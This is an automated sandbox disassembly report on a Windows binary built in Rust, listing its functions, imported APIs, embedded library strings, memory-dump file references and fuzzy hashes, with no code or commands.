Function 00007FF70FAB6F2C Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 178
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70FAB709E
GetProcAddress.KERNEL32 ref: 00007FF70FAB70B6
memset.MSVCRT ref: 00007FF70FAB70DA

Strings

ntdll.dll, xrefs: 00007FF70FAB7097
Microsoft Unified Security Protocol Provider, xrefs: 00007FF70FAB7190
bE, xrefs: 00007FF70FAB70FD
RtlGetVersion, xrefs: 00007FF70FAB70AC

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: Microsoft Unified Security Protocol Provider$RtlGetVersion$bE$ntdll.dll
API String ID: 3137504439-1116218560
Opcode ID: d35be6c26a174287fd11c06394cdcdb97934b6e18c332dfaa58c8772a28de4e6
Instruction ID: 9cbd8a7f63627c5da8df81068bd8405350328d28b791dde3eeeecf66dca6164e
Opcode Fuzzy Hash: d35be6c26a174287fd11c06394cdcdb97934b6e18c332dfaa58c8772a28de4e6
Instruction Fuzzy Hash: B281AFB2A0CBC581EB259B15E8007EAA7A0FF89784F809235DE8C17755EFBDD195CB10

Function 00007FF70FA31180 Relevance: 12.2, APIs: 8, Instructions: 201
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF70FA311E6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70FA31258
malloc.MSVCRT ref: 00007FF70FA31322
strlen.MSVCRT ref: 00007FF70FA31344
malloc.MSVCRT ref: 00007FF70FA31350
memcpy.MSVCRT ref: 00007FF70FA31368
GetStartupInfoA.KERNEL32 ref: 00007FF70FA31453

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID:
API String ID: 649803965-0
Opcode ID: 93dbfcf86aa5a220232f0a590beb57cb544a38ece546fe1fd801a7f6c84b89fa
Instruction ID: d95fc769e0f20847ea34661519b35688575627fa2fd1219246a7e4fc3c5932db
Opcode Fuzzy Hash: 93dbfcf86aa5a220232f0a590beb57cb544a38ece546fe1fd801a7f6c84b89fa
Instruction Fuzzy Hash: 02813AA1E0D68685FB50BB65ED50BF9A3A1EF46B84FC84035EE0D47391DF2CE8448B20

Function 00007FF70FAAB1D8 Relevance: 10.2, APIs: 3, Strings: 3, Instructions: 1202COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAAB27D
memcpy.MSVCRT ref: 00007FF70FAAB6F3

Strings

httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FAAB89A, 00007FF70FAABC1C
cookie2, xrefs: 00007FF70FAABDEC
Pending error polled more than once, xrefs: 00007FF70FAAB2CD

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: Pending error polled more than once$cookie2$httphttpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-3777362141
Opcode ID: e093311b2008321bfa0a772d5323af41eb525c3f53e44508b1558fc59cd890f1
Instruction ID: 494f37dbfef41988113b187d942e57e35b44556164938fe7f3d94d742f627f77
Opcode Fuzzy Hash: e093311b2008321bfa0a772d5323af41eb525c3f53e44508b1558fc59cd890f1
Instruction Fuzzy Hash: AFC2B2B2A0DAC181EA61AB15E8147FAB364FF86B94F804031DE8D07B95DF3CE549C760

Function 00007FF70FA84688 Relevance: 10.1, APIs: 2, Strings: 4, Instructions: 1121COMMON

Download Yara Rule

Strings

assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs, xrefs: 00007FF70FA86C40
close, xrefs: 00007FF70FA84D83
size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs, xrefs: 00007FF70FA86B9B
just sent Ok, xrefs: 00007FF70FA86C08

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID: assertion failed: slot.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/oneshot.rs$close$just sent Ok$size overflows MAX_SIZETryFlatten polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/future/try_future/try_flatten.rs
API String ID: 0-3910784894
Opcode ID: ea975ec51433668ded7a58467d0f79d79784a19587a4fe17853298c662c04dd1
Instruction ID: fc2e26a1a4f9cd3f491b5a7dacde7246faa9e5ad3d83765ea2241062ea3f0257
Opcode Fuzzy Hash: ea975ec51433668ded7a58467d0f79d79784a19587a4fe17853298c662c04dd1
Instruction Fuzzy Hash: F2C283A2A0CAC285EA31AB15E8057FAE361FF86B94F844131DE8D07B99DF7CE545C710

Function 00007FF70FA76A17 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 515
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 00007FF70FA76BB9
memcpy.MSVCRT ref: 00007FF70FA76D7C

Strings

A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state, xrefs: 00007FF70FA76C8F
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA772AA, 00007FF70FA773B3

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: connectmemcpy
String ID: A Tokio 1.x context was found, but it is being shutdown.mark_pending called when the timer entry is in an invalid state$called `Result::unwrap()` on an `Err` value
API String ID: 456332141-2745803406
Opcode ID: 0547e144c683200620cc1905c114e9e4de197b69669a56eee8e35845b91385f9
Instruction ID: 6ad64ad5c7143d21d615fff5ccc8a0cecb89b3f1243b40186f398dab0a191c6b
Opcode Fuzzy Hash: 0547e144c683200620cc1905c114e9e4de197b69669a56eee8e35845b91385f9
Instruction Fuzzy Hash: BB426772A0CBC582E661EB15E840BEAB3A4FB9A744F804135DB8C47B95DF7CE095C750

Function 00007FF70FA682CB Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FA6782B: memcpy.MSVCRT ref: 00007FF70FA67863

memcpy.MSVCRT ref: 00007FF70FA68521

Strings

uespemos, xrefs: 00007FF70FA68366
modnarod, xrefs: 00007FF70FA6838A
setybdet, xrefs: 00007FF70FA68340
arenegyl, xrefs: 00007FF70FA68378

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: arenegyl$modnarod$setybdet$uespemos
API String ID: 3510742995-66988881
Opcode ID: ad80d627c17d7ecef8bb65a0e5bf5e966f24b0c92143216b3421c6d91a2f6ffe
Instruction ID: b73c596ececa7c56bf38a0214dd9c8d1246585640d964f62ede689bb5f7c7163
Opcode Fuzzy Hash: ad80d627c17d7ecef8bb65a0e5bf5e966f24b0c92143216b3421c6d91a2f6ffe
Instruction Fuzzy Hash: D451C062B09BD481FAA1DB24B8017EAB365FB59798F40D222DECC57B49DF38D196C700

Function 00007FF70FA68655 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 336threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF70FA688C2
SwitchToThread.KERNEL32 ref: 00007FF70FA688F9

Strings

, xrefs: 00007FF70FA68995
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA68BB9

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: SwitchThread
String ID: $called `Result::unwrap()` on an `Err` value
API String ID: 115865932-729407269
Opcode ID: df7ada9fbd3fc7bf97b3d7bd44852a8cb055741e325dfa86237b062013f13c02
Instruction ID: 5f52618a64af9d0c55e9d02f9d6be9f031a8c2d2f276dc43fff3d762872588c5
Opcode Fuzzy Hash: df7ada9fbd3fc7bf97b3d7bd44852a8cb055741e325dfa86237b062013f13c02
Instruction Fuzzy Hash: 9AE19FB260D7C181EA65EB15A8147FAA3A8FF8A784F948136DE9D47794DF3CE041C710

Function 00007FF70FA65E40 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL ref: 00007FF70FA66025

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA66283, 00007FF70FA662FB, 00007FF70FA66442
Out of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs, xrefs: 00007FF70FA6629B, 00007FF70FA662AB

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorStatus
String ID: Out of bounds access/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-util-0.3.31/src/stream/stream/into_future.rs$called `Result::unwrap()` on an `Err` value
API String ID: 1596131371-647002947
Opcode ID: 6b654137f1020addaee9f001f86283512eb3a264d67ca030bffb99446a291b5c
Instruction ID: 33cc20230a0e60517714dec75652886c31d62287e92f7b63b2a23e57a4472f56
Opcode Fuzzy Hash: 6b654137f1020addaee9f001f86283512eb3a264d67ca030bffb99446a291b5c
Instruction Fuzzy Hash: 85D181B2A0CBC681EA50EB25D844AEAB764FF8A794F854032DE9D47795CF3CE045C710

Function 00007FF70FAE4C62 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 356COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF70FAE4C9F

Strings

unknownARM x64, xrefs: 00007FF70FAE4FAF

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: InfoSystem
String ID: unknownARM x64
API String ID: 31276548-812579982
Opcode ID: 102e382684a36b5dd630603aa24dadd9b1300d449ab5480a8e50142815018cee
Instruction ID: 1f08326aa068702f5474f0c325846da308e7724ca91ba88f53aecd33b0b1feea
Opcode Fuzzy Hash: 102e382684a36b5dd630603aa24dadd9b1300d449ab5480a8e50142815018cee
Instruction Fuzzy Hash: DAF170B6A0CBC185EA60EB15E8407EAB7A4FB89B84F444136EE8D47B95DF7CD045C710

Function 00007FF70FA719F5 Relevance: 3.2, APIs: 2, Instructions: 152networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF70FA71ACC
WSAGetLastError.WS2_32 ref: 00007FF70FA71ADA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 71b3535a4abb13f10474441117803fbc463173819939c345ff2f26f254e51449
Instruction ID: a0aa700d503de0dabd442f2ddda3e35482078cef239e8566e369f9fedd97e6ce
Opcode Fuzzy Hash: 71b3535a4abb13f10474441117803fbc463173819939c345ff2f26f254e51449
Instruction Fuzzy Hash: 2D51D7A260C7C181EA60EB25EC40EFAE7A5EF96794F945131EE9C077A5EF3CD0468710

Function 00007FF70FAE2F73 Relevance: 3.1, APIs: 2, Instructions: 132timeCOMMON

Download Yara Rule

APIs

GetSystemTimes.KERNEL32 ref: 00007FF70FAE2FFC
GetProcessIoCounters.KERNEL32 ref: 00007FF70FAE3136

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: CountersProcessSystemTimes
String ID:
API String ID: 3003158128-0
Opcode ID: 1db4cfbe3d1977c3dc9e864e1905f2bfb30c6eb8477c966907040987d26d8c19
Instruction ID: efe40719937fb9e41df2da3bc117d9791330354c3fbb9db31bac121867030cee
Opcode Fuzzy Hash: 1db4cfbe3d1977c3dc9e864e1905f2bfb30c6eb8477c966907040987d26d8c19
Instruction Fuzzy Hash: D151D562B18BC592DA49CA7599007E8EB60FF597E4F548735EB6C17782DF38E0A0C700

Function 00007FF70FA6656F Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL ref: 00007FF70FA665DF

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: c8e0f3c4bc85a8c93a16406efc995476cf78216f6b0be2c6be25492a175dbeb2
Instruction ID: bd91cc96f7ab417c182c8cc0d08743dac5495992f0fb4eb486574e24428a696b
Opcode Fuzzy Hash: c8e0f3c4bc85a8c93a16406efc995476cf78216f6b0be2c6be25492a175dbeb2
Instruction Fuzzy Hash: 12419EB2A0CB8186EB10AB51E8507E9B3A0FF85B94F844131DA8D4BBC9CF7CE455C750

Function 00007FF70FAE3444 Relevance: 3.1, APIs: 2, Instructions: 70nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 00007FF70FAE346E
NtQueryInformationProcess.NTDLL ref: 00007FF70FAE34C6

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 3a2203326a6dfe369d8afcd4efdc6ed5e5be105a7323196c0e2b24167a30276d
Instruction ID: 910fd71e9969f1ff783ddeda3e6045d8674af17953a823ca61f6746a1bd5f69e
Opcode Fuzzy Hash: 3a2203326a6dfe369d8afcd4efdc6ed5e5be105a7323196c0e2b24167a30276d
Instruction Fuzzy Hash: 0021B2A270C78246EE20AE12ED00BA9E714EF4ABD8F849032EE4D47B85DF3CE1458710

Function 00007FF70FAB7F03 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9f760d98fd181f9990fae0f7eb436a9e2d6cf4766eedafcda1203a731427c4
Instruction ID: d0a86c413f252a99704f8082830a6e975f8820c396e263d9710fd0afe71058d1
Opcode Fuzzy Hash: ee9f760d98fd181f9990fae0f7eb436a9e2d6cf4766eedafcda1203a731427c4
Instruction Fuzzy Hash: 15C08C82F2D18282E69832334C42AEA9180AF1B741FC80030C508812C3EE0CA8E64B24

Function 00007FF70FA7363E Relevance: 41.2, APIs: 26, Strings: 1, Instructions: 706
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF70FA74464

Strings

future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs, xrefs: 00007FF70FA7462D, 00007FF70FA74649

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: future polled after completion/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/tokio-native-tls-0.3.1/src/lib.rs
API String ID: 3510742995-589600265
Opcode ID: ac1e997914477190c5e361204264cd5a21ef6b577d6499e229dfc42dc2e3f2f8
Instruction ID: e7928e74226c507854dea929bcc59e9ed83092379444d35e22d119d9a52cbc7a
Opcode Fuzzy Hash: ac1e997914477190c5e361204264cd5a21ef6b577d6499e229dfc42dc2e3f2f8
Instruction Fuzzy Hash: E5928962A0CBC591E7669B28E8417EAB3A4FF99748F845131DF8C03756DF39E1A8C710

Function 00007FF70FA70A16 Relevance: 28.6, APIs: 11, Strings: 5, Instructions: 587
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA70BAF
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA70BB7
CertGetCertificateChain.CRYPT32 ref: 00007FF70FA70C9C
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA70D70
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA70D9F
CertFreeCertificateChain.CRYPT32 ref: 00007FF70FA70DD7
CertVerifyCertificateChainPolicy.CRYPT32 ref: 00007FF70FA70E69
CertFreeCertificateChain.CRYPT32 ref: 00007FF70FA70F05
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA70F0F
CertFreeCertificateContext.CRYPT32 ref: 00007FF70FA71507

Strings

, xrefs: 00007FF70FA70C16
unexpected EOF during handshakeassertion failed: size >= nread, xrefs: 00007FF70FA7153B
1.3.6.1.4.1.311.10.3.3, xrefs: 00007FF70FA70C38
1.3.6.1.5.5.7.3.1, xrefs: 00007FF70FA70C2C
2.16.840.1.113730.4.1, xrefs: 00007FF70FA70C44

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: CertCertificate$Free$Context$Chain$PolicyVerify
String ID: $1.3.6.1.4.1.311.10.3.3$1.3.6.1.5.5.7.3.1$2.16.840.1.113730.4.1$unexpected EOF during handshakeassertion failed: size >= nread
API String ID: 2819978641-816880757
Opcode ID: d6037467ec383882d9f473264b3463a899f88d85c0181825a22c2f31410122d6
Instruction ID: b79774ed9db1e9d55df6b5544d7200fec84692e2f68d0c9845e63ded1d20ea70
Opcode Fuzzy Hash: d6037467ec383882d9f473264b3463a899f88d85c0181825a22c2f31410122d6
Instruction Fuzzy Hash: 555241B2A0C7C185EB64EB15E940BEAA3A4FF86784F408135DA8D47B96DF3CE455C710

Function 00007FF70FA9DC59 Relevance: 17.0, APIs: 13, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
